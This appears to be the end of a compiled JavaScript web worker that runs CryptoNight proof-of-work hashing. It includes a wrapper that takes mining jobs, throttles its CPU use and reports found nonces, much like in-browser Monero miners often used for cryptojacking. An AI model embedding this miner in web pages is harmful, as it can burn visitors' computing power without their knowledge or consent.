getRequest_onerror(){fail++;if(ok+fail==total)finish()}}));transaction.onerror=onerror};openRequest.onerror=onerror})};var SYSCALLS={DEFAULT_POLLMASK:5,mappings:{},umask:511,calculateAt:(function(dirfd,path){if(path[0]!=="/"){var dir;if(dirfd===-100){dir=FS.cwd()}else{var dirstream=FS.getStream(dirfd);if(!dirstream)throw new FS.ErrnoError(ERRNO_CODES.EBADF);dir=dirstream.path}path=PATH.join2(dir,path)}return path}),doStat:(function(func,path,buf){try{var stat=func(path)}catch(e){if(e&&e.node&&PATH.normalize(path)!==PATH.normalize(FS.getPath(e.node))){return-ERRNO_CODES.ENOTDIR}throw e}HEAP32[buf>>2]=stat.dev;HEAP32[buf+4>>2]=0;HEAP32[buf+8>>2]=stat.ino;HEAP32[buf+12>>2]=stat.mode;HEAP32[buf+16>>2]=stat.nlink;HEAP32[buf+20>>2]=stat.uid;HEAP32[buf+24>>2]=stat.gid;HEAP32[buf+28>>2]=stat.rdev;HEAP32[buf+32>>2]=0;HEAP32[buf+36>>2]=stat.size;HEAP32[buf+40>>2]=4096;HEAP32[buf+44>>2]=stat.blocks;HEAP32[buf+48>>2]=stat.atime.getTime()/1e3|0;HEAP32[buf+52>>2]=0;HEAP32[buf+56>>2]=stat.mtime.getTime()/1e3|0;HEAP32[buf+60>>2]=0;HEAP32[buf+64>>2]=stat.ctime.getTime()/1e3|0;HEAP32[buf+68>>2]=0;HEAP32[buf+72>>2]=stat.ino;return 0}),doMsync:(function(addr,stream,len,flags){var buffer=new Uint8Array(HEAPU8.subarray(addr,addr+len));FS.msync(stream,buffer,0,len,flags)}),doMkdir:(function(path,mode){path=PATH.normalize(path);if(path[path.length-1]==="/")path=path.substr(0,path.length-1);FS.mkdir(path,mode,0);return 0}),doMknod:(function(path,mode,dev){switch(mode&61440){case 32768:case 8192:case 24576:case 4096:case 49152:break;default:return-ERRNO_CODES.EINVAL}FS.mknod(path,mode,dev);return 0}),doReadlink:(function(path,buf,bufsize){if(bufsize<=0)return-ERRNO_CODES.EINVAL;var ret=FS.readlink(path);var len=Math.min(bufsize,lengthBytesUTF8(ret));var endChar=HEAP8[buf+len];stringToUTF8(ret,buf,bufsize+1);HEAP8[buf+len]=endChar;return len}),doAccess:(function(path,amode){if(amode&~7){return-ERRNO_CODES.EINVAL}var node;var lookup=FS.lookupPath(path,{follow:true});node=lookup.node;var perms="";if(amode&4)perms+="r";if(amode&2)perms+="w";if(amode&1)perms+="x";if(perms&&FS.nodePermissions(node,perms)){return-ERRNO_CODES.EACCES}return 0}),doDup:(function(path,flags,suggestFD){var suggest=FS.getStream(suggestFD);if(suggest)FS.close(suggest);return FS.open(path,flags,0,suggestFD,suggestFD).fd}),doReadv:(function(stream,iov,iovcnt,offset){var ret=0;for(var i=0;i<iovcnt;i++){var ptr=HEAP32[iov+i*8>>2];var len=HEAP32[iov+(i*8+4)>>2];var curr=FS.read(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr;if(curr<len)break}return ret}),doWritev:(function(stream,iov,iovcnt,offset){var ret=0;for(var i=0;i<iovcnt;i++){var ptr=HEAP32[iov+i*8>>2];var len=HEAP32[iov+(i*8+4)>>2];var curr=FS.write(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr}return ret}),varargs:0,get:(function(varargs){SYSCALLS.varargs+=4;var ret=HEAP32[SYSCALLS.varargs-4>>2];return ret}),getStr:(function(){var ret=Pointer_stringify(SYSCALLS.get());return ret}),getStreamFromFD:(function(){var stream=FS.getStream(SYSCALLS.get());if(!stream)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return stream}),getSocketFromFD:(function(){var socket=SOCKFS.getSocket(SYSCALLS.get());if(!socket)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return socket}),getSocketAddress:(function(allowNull){var addrp=SYSCALLS.get(),addrlen=SYSCALLS.get();if(allowNull&&addrp===0)return null;var info=__read_sockaddr(addrp,addrlen);if(info.errno)throw new FS.ErrnoError(info.errno);info.addr=DNS.lookup_addr(info.addr)||info.addr;return info}),get64:(function(){var low=SYSCALLS.get(),high=SYSCALLS.get();if(low>=0)assert(high===0);else assert(high===-1);return low}),getZero:(function(){assert(SYSCALLS.get()===0)})};function ___syscall20(which,varargs){SYSCALLS.varargs=varargs;try{return PROCINFO.pid}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}var ___tm_current=STATICTOP;STATICTOP+=48;var ___tm_timezone=allocate(intArrayFromString("GMT"),"i8",ALLOC_STATIC);function _gmtime_r(time,tmPtr){var date=new Date(HEAP32[time>>2]*1e3);HEAP32[tmPtr>>2]=date.getUTCSeconds();HEAP32[tmPtr+4>>2]=date.getUTCMinutes();HEAP32[tmPtr+8>>2]=date.getUTCHours();HEAP32[tmPtr+12>>2]=date.getUTCDate();HEAP32[tmPtr+16>>2]=date.getUTCMonth();HEAP32[tmPtr+20>>2]=date.getUTCFullYear()-1900;HEAP32[tmPtr+24>>2]=date.getUTCDay();HEAP32[tmPtr+36>>2]=0;HEAP32[tmPtr+32>>2]=0;var start=Date.UTC(date.getUTCFullYear(),0,1,0,0,0,0);var yday=(date.getTime()-start)/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr+40>>2]=___tm_timezone;return tmPtr}function _gmtime(time){return _gmtime_r(time,___tm_current)}function ___lock(){}function ___unlock(){}function ___syscall6(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD();FS.close(stream);return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function _emscripten_memcpy_big(dest,src,num){HEAPU8.set(HEAPU8.subarray(src,src+num),dest);return dest}function _ftime(p){var millis=Date.now();HEAP32[p>>2]=millis/1e3|0;HEAP16[p+4>>1]=millis%1e3;HEAP16[p+6>>1]=0;HEAP16[p+8>>1]=0;return 0}function ___syscall140(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),offset_high=SYSCALLS.get(),offset_low=SYSCALLS.get(),result=SYSCALLS.get(),whence=SYSCALLS.get();var offset=offset_low;FS.llseek(stream,offset,whence);HEAP32[result>>2]=stream.position;if(stream.getdents&&offset===0&&whence===0)stream.getdents=null;return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall146(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),iov=SYSCALLS.get(),iovcnt=SYSCALLS.get();return SYSCALLS.doWritev(stream,iov,iovcnt)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall54(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),op=SYSCALLS.get();switch(op){case 21505:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21506:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21519:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;var argp=SYSCALLS.get();HEAP32[argp>>2]=0;return 0};case 21520:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return-ERRNO_CODES.EINVAL};case 21531:{var argp=SYSCALLS.get();return FS.ioctl(stream,op,argp)};case 21523:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};default:abort("bad ioctl syscall "+op)}}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}FS.staticInit();__ATINIT__.unshift((function(){if(!Module["noFSInit"]&&!FS.init.initialized)FS.init()}));__ATMAIN__.push((function(){FS.ignorePermissions=false}));__ATEXIT__.push((function(){FS.quit()}));Module["FS_createFolder"]=FS.createFolder;Module["FS_createPath"]=FS.createPath;Module["FS_createDataFile"]=FS.createDataFile;Module["FS_createPreloadedFile"]=FS.createPreloadedFile;Module["FS_createLazyFile"]=FS.createLazyFile;Module["FS_createLink"]=FS.createLink;Module["FS_createDevice"]=FS.createDevice;Module["FS_unlink"]=FS.unlink;__ATINIT__.unshift((function(){TTY.init()}));__ATEXIT__.push((function(){TTY.shutdown()}));if(ENVIRONMENT_IS_NODE){var fs=require("fs");var NODEJS_PATH=require("path");NODEFS.staticInit()}DYNAMICTOP_PTR=allocate(1,"i32",ALLOC_STATIC);STACK_BASE=STACKTOP=Runtime.alignMemory(STATICTOP);STACK_MAX=STACK_BASE+TOTAL_STACK;DYNAMIC_BASE=Runtime.alignMemory(STACK_MAX);HEAP32[DYNAMICTOP_PTR>>2]=DYNAMIC_BASE;staticSealed=true;Module["wasmTableSize"]=14;Module["wasmMaxTableSize"]=14;function invoke_ii(index,a1){try{return Module["dynCall_ii"](index,a1)}catch(e){if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiii(index,a1,a2,a3){try{return Module["dynCall_iiii"](index,a1,a2,a3)}catch(e){if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viii(index,a1,a2,a3){try{Module["dynCall_viii"](index,a1,a2,a3)}catch(e){if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}Module.asmGlobalArg={"Math":Math,"Int8Array":Int8Array,"Int16Array":Int16Array,"Int32Array":Int32Array,"Uint8Array":Uint8Array,"Uint16Array":Uint16Array,"Uint32Array":Uint32Array,"Float32Array":Float32Array,"Float64Array":Float64Array,"NaN":NaN,"Infinity":Infinity};Module.asmLibraryArg={"abort":abort,"assert":assert,"enlargeMemory":enlargeMemory,"getTotalMemory":getTotalMemory,"abortOnCannotGrowMemory":abortOnCannotGrowMemory,"invoke_ii":invoke_ii,"invoke_iiii":invoke_iiii,"invoke_viii":invoke_viii,"_gmtime_r":_gmtime_r,"_gmtime":_gmtime,"___lock":___lock,"___syscall6":___syscall6,"___setErrNo":___setErrNo,"___unlock":___unlock,"_ftime":_ftime,"_emscripten_memcpy_big":_emscripten_memcpy_big,"___syscall54":___syscall54,"___syscall140":___syscall140,"___syscall20":___syscall20,"___assert_fail":___assert_fail,"___syscall146":___syscall146,"DYNAMICTOP_PTR":DYNAMICTOP_PTR,"tempDoublePtr":tempDoublePtr,"ABORT":ABORT,"STACKTOP":STACKTOP,"STACK_MAX":STACK_MAX};var asm=Module["asm"](Module.asmGlobalArg,Module.asmLibraryArg,buffer);Module["asm"]=asm;var _cryptonight_hash=Module["_cryptonight_hash"]=(function(){return Module["asm"]["_cryptonight_hash"].apply(null,arguments)});var getTempRet0=Module["getTempRet0"]=(function(){return Module["asm"]["getTempRet0"].apply(null,arguments)});var _free=Module["_free"]=(function(){return Module["asm"]["_free"].apply(null,arguments)});var runPostSets=Module["runPostSets"]=(function(){return Module["asm"]["runPostSets"].apply(null,arguments)});var setTempRet0=Module["setTempRet0"]=(function(){return Module["asm"]["setTempRet0"].apply(null,arguments)});var establishStackSpace=Module["establishStackSpace"]=(function(){return Module["asm"]["establishStackSpace"].apply(null,arguments)});var _memmove=Module["_memmove"]=(function(){return Module["asm"]["_memmove"].apply(null,arguments)});var stackSave=Module["stackSave"]=(function(){return Module["asm"]["stackSave"].apply(null,arguments)});var _memset=Module["_memset"]=(function(){return Module["asm"]["_memset"].apply(null,arguments)});var _malloc=Module["_malloc"]=(function(){return Module["asm"]["_malloc"].apply(null,arguments)});var _cryptonight_create=Module["_cryptonight_create"]=(function(){return Module["asm"]["_cryptonight_create"].apply(null,arguments)});var _memcpy=Module["_memcpy"]=(function(){return Module["asm"]["_memcpy"].apply(null,arguments)});var _emscripten_get_global_libc=Module["_emscripten_get_global_libc"]=(function(){return Module["asm"]["_emscripten_get_global_libc"].apply(null,arguments)});var stackAlloc=Module["stackAlloc"]=(function(){return Module["asm"]["stackAlloc"].apply(null,arguments)});var setThrew=Module["setThrew"]=(function(){return Module["asm"]["setThrew"].apply(null,arguments)});var _sbrk=Module["_sbrk"]=(function(){return Module["asm"]["_sbrk"].apply(null,arguments)});var _fflush=Module["_fflush"]=(function(){return Module["asm"]["_fflush"].apply(null,arguments)});var stackRestore=Module["stackRestore"]=(function(){return Module["asm"]["stackRestore"].apply(null,arguments)});var _cryptonight_destroy=Module["_cryptonight_destroy"]=(function(){return Module["asm"]["_cryptonight_destroy"].apply(null,arguments)});var ___errno_location=Module["___errno_location"]=(function(){return Module["asm"]["___errno_location"].apply(null,arguments)});var dynCall_ii=Module["dynCall_ii"]=(function(){return Module["asm"]["dynCall_ii"].apply(null,arguments)});var dynCall_iiii=Module["dynCall_iiii"]=(function(){return Module["asm"]["dynCall_iiii"].apply(null,arguments)});var dynCall_viii=Module["dynCall_viii"]=(function(){return Module["asm"]["dynCall_viii"].apply(null,arguments)});Runtime.stackAlloc=Module["stackAlloc"];Runtime.stackSave=Module["stackSave"];Runtime.stackRestore=Module["stackRestore"];Runtime.establishStackSpace=Module["establishStackSpace"];Runtime.setTempRet0=Module["setTempRet0"];Runtime.getTempRet0=Module["getTempRet0"];Module["asm"]=asm;if(memoryInitializer){if(typeof Module["locateFile"]==="function"){memoryInitializer=Module["locateFile"](memoryInitializer)}else if(Module["memoryInitializerPrefixURL"]){memoryInitializer=Module["memoryInitializerPrefixURL"]+memoryInitializer}if(ENVIRONMENT_IS_NODE||ENVIRONMENT_IS_SHELL){var data=Module["readBinary"](memoryInitializer);HEAPU8.set(data,Runtime.GLOBAL_BASE)}else{addRunDependency("memory initializer");var applyMemoryInitializer=(function(data){if(data.byteLength)data=new Uint8Array(data);HEAPU8.set(data,Runtime.GLOBAL_BASE);if(Module["memoryInitializerRequest"])delete Module["memoryInitializerRequest"].response;removeRunDependency("memory initializer")});function doBrowserLoad(){Module["readAsync"](memoryInitializer,applyMemoryInitializer,(function(){throw"could not load memory initializer "+memoryInitializer}))}if(Module["memoryInitializerRequest"]){function useRequest(){var request=Module["memoryInitializerRequest"];if(request.status!==200&&request.status!==0){console.warn("a problem seems to have happened with Module.memoryInitializerRequest, status: "+request.status+", retrying "+memoryInitializer);doBrowserLoad();return}applyMemoryInitializer(request.response)}if(Module["memoryInitializerRequest"].response){setTimeout(useRequest,0)}else{Module["memoryInitializerRequest"].addEventListener("load",useRequest)}}else{doBrowserLoad()}}}function ExitStatus(status){this.name="ExitStatus";this.message="Program terminated with exit("+status+")";this.status=status}ExitStatus.prototype=new Error;ExitStatus.prototype.constructor=ExitStatus;var initialStackTop;var preloadStartTime=null;var calledMain=false;dependenciesFulfilled=function runCaller(){if(!Module["calledRun"])run();if(!Module["calledRun"])dependenciesFulfilled=runCaller};Module["callMain"]=Module.callMain=function callMain(args){args=args||[];ensureInitRuntime();var argc=args.length+1;function pad(){for(var i=0;i<4-1;i++){argv.push(0)}}var argv=[allocate(intArrayFromString(Module["thisProgram"]),"i8",ALLOC_NORMAL)];pad();for(var i=0;i<argc-1;i=i+1){argv.push(allocate(intArrayFromString(args[i]),"i8",ALLOC_NORMAL));pad()}argv.push(0);argv=allocate(argv,"i32",ALLOC_NORMAL);try{var ret=Module["_main"](argc,argv,0);exit(ret,true)}catch(e){if(e instanceof ExitStatus){return}else if(e=="SimulateInfiniteLoop"){Module["noExitRuntime"]=true;return}else{var toLog=e;if(e&&typeof e==="object"&&e.stack){toLog=[e,e.stack]}Module.printErr("exception thrown: "+toLog);Module["quit"](1,e)}}finally{calledMain=true}};function run(args){args=args||Module["arguments"];if(preloadStartTime===null)preloadStartTime=Date.now();if(runDependencies>0){return}preRun();if(runDependencies>0)return;if(Module["calledRun"])return;function doRun(){if(Module["calledRun"])return;Module["calledRun"]=true;if(ABORT)return;ensureInitRuntime();preMain();if(Module["onRuntimeInitialized"])Module["onRuntimeInitialized"]();if(Module["_main"]&&shouldRunNow)Module["callMain"](args);postRun()}if(Module["setStatus"]){Module["setStatus"]("Running...");setTimeout((function(){setTimeout((function(){Module["setStatus"]("")}),1);doRun()}),1)}else{doRun()}}Module["run"]=Module.run=run;function exit(status,implicit){if(implicit&&Module["noExitRuntime"]){return}if(Module["noExitRuntime"]){}else{ABORT=true;EXITSTATUS=status;STACKTOP=initialStackTop;exitRuntime();if(Module["onExit"])Module["onExit"](status)}if(ENVIRONMENT_IS_NODE){process["exit"](status)}Module["quit"](status,new ExitStatus(status))}Module["exit"]=Module.exit=exit;var abortDecorators=[];function abort(what){if(Module["onAbort"]){Module["onAbort"](what)}if(what!==undefined){Module.print(what);Module.printErr(what);what=JSON.stringify(what)}else{what=""}ABORT=true;EXITSTATUS=1;var extra="\\nIf this abort() is unexpected, build with -s ASSERTIONS=1 which can give more information.";var output="abort("+what+") at "+stackTrace()+extra;if(abortDecorators){abortDecorators.forEach((function(decorator){output=decorator(output,what)}))}throw output}Module["abort"]=Module.abort=abort;if(Module["preInit"]){if(typeof Module["preInit"]=="function")Module["preInit"]=[Module["preInit"]];while(Module["preInit"].length>0){Module["preInit"].pop()()}}var shouldRunNow=true;if(Module["noInitialRun"]){shouldRunNow=false}run();var CryptonightWASMWrapper=(function(){this.ctx=_cryptonight_create();this.throttleWait=0;this.throttledStart=0;this.throttledHashes=0;this.workThrottledBound=this.workThrottled.bind(this);this.currentJob=null;this.target=new Uint8Array([255,255,255,255,255,255,255,255]);var heap=Module.HEAPU8.buffer;this.input=new Uint8Array(heap,Module._malloc(84),84);this.output=new Uint8Array(heap,Module._malloc(32),32);self.postMessage("ready");self.onmessage=this.onMessage.bind(this)});CryptonightWASMWrapper.prototype.onMessage=(function(msg){var job=msg.data;if(job.verify_id){this.verify(job);return}if(!this.currentJob||this.currentJob.job_id!==job.job_id){this.setJob(job)}if(job.throttle){this.throttleWait=1/(1-job.throttle)-1;this.throttledStart=this.now();this.throttledHashes=0;this.workThrottled()}else{this.work()}});CryptonightWASMWrapper.prototype.destroy=(function(){_cryptonight_destroy(this.ctx)});CryptonightWASMWrapper.prototype.hexToBytes=(function(hex,bytes){var bytes=new Uint8Array(hex.length/2);for(var i=0,c=0;c<hex.length;c+=2,i++){bytes[i]=parseInt(hex.substr(c,2),16)}return bytes});CryptonightWASMWrapper.prototype.bytesToHex=(function(bytes){for(var hex="",i=0;i<bytes.length;i++){hex+=(bytes[i]>>>4).toString(16);hex+=(bytes[i]&15).toString(16)}return hex});CryptonightWASMWrapper.prototype.meetsTarget=(function(hash,target){for(var i=0;i<target.length;i++){var hi=hash.length-i-1,ti=target.length-i-1;if(hash[hi]>target[ti]){return false}else if(hash[hi]<target[ti]){return true}}return false});CryptonightWASMWrapper.prototype.setJob=(function(job){this.currentJob=job;this.blob=this.hexToBytes(job.blob);this.input.set(this.blob);var target=this.hexToBytes(job.target);if(target.length<=8){for(var i=0;i<target.length;i++){this.target[this.target.length-i-1]=target[target.length-i-1]}for(var i=0;i<this.target.length-target.length;i++){this.target[i]=255}}else{this.target=target}});CryptonightWASMWrapper.prototype.now=(function(){return self.performance?self.performance.now():Date.now()});CryptonightWASMWrapper.prototype.hash=(function(input,output,length){var nonce=Math.random()*4294967295+1>>>0;this.input[39]=(nonce&4278190080)>>24;this.input[40]=(nonce&16711680)>>16;this.input[41]=(nonce&65280)>>8;this.input[42]=(nonce&255)>>0;_cryptonight_hash(this.ctx,input.byteOffset,output.byteOffset,length)});CryptonightWASMWrapper.prototype.verify=(function(job){this.blob=this.hexToBytes(job.blob);this.input.set(this.blob);for(var i=0,c=0;c<job.nonce.length;c+=2,i++){this.input[39+i]=parseInt(job.nonce.substr(c,2),16)}_cryptonight_hash(this.ctx,this.input.byteOffset,this.output.byteOffset,this.blob.length);var result=this.bytesToHex(this.output);self.postMessage({verify_id:job.verify_id,verified:result===job.result})});CryptonightWASMWrapper.prototype.work=(function(){var hashes=0;var meetsTarget=false;var start=this.now();var elapsed=0;do{this.hash(this.input,this.output,this.blob.length);hashes++;meetsTarget=this.meetsTarget(this.output,this.target);elapsed=this.now()-start}while(!meetsTarget&&elapsed<1e3);var hashesPerSecond=hashes/(elapsed/1e3);if(meetsTarget){var nonceHex=this.bytesToHex(this.input.subarray(39,43));var resultHex=this.bytesToHex(this.output);self.postMessage({hashesPerSecond:hashesPerSecond,hashes:hashes,job_id:this.currentJob.job_id,nonce:nonceHex,result:resultHex})}else{self.postMessage({hashesPerSecond:hashesPerSecond,hashes:hashes})}});CryptonightWASMWrapper.prototype.workThrottled=(function(){var start=this.now();this.hash(this.input,this.output,this.blob.length);var end=this.now();var timePerHash=end-start;this.throttledHashes++;var elapsed=end-this.throttledStart;var hashesPerSecond=this.throttledHashes/(elapsed/1e3);if(this.meetsTarget(this.output,this.target)){var nonceHex=this.bytesToHex(this.input.subarray(39,43));var resultHex=this.bytesToHex(this.output);self.postMessage({hashesPerSecond:hashesPerSecond,hashes:this.throttledHashes,job_id:this.currentJob.job_id,nonce:nonceHex,result:resultHex});this.throttledHashes=0}else if(elapsed>1e3){self.postMessage({hashesPerSecond:hashesPerSecond,hashes:this.throttledHashes});this.throttledHashes=0}else{var wait=Math.min(2e3,timePerHash*this.throttleWait);setTimeout(this.workThrottledBound,wait)}});Module["onRuntimeInitialized"]=(function(){var cryptonight=new CryptonightWASMWrapper}) ' | |
]) | |
); |
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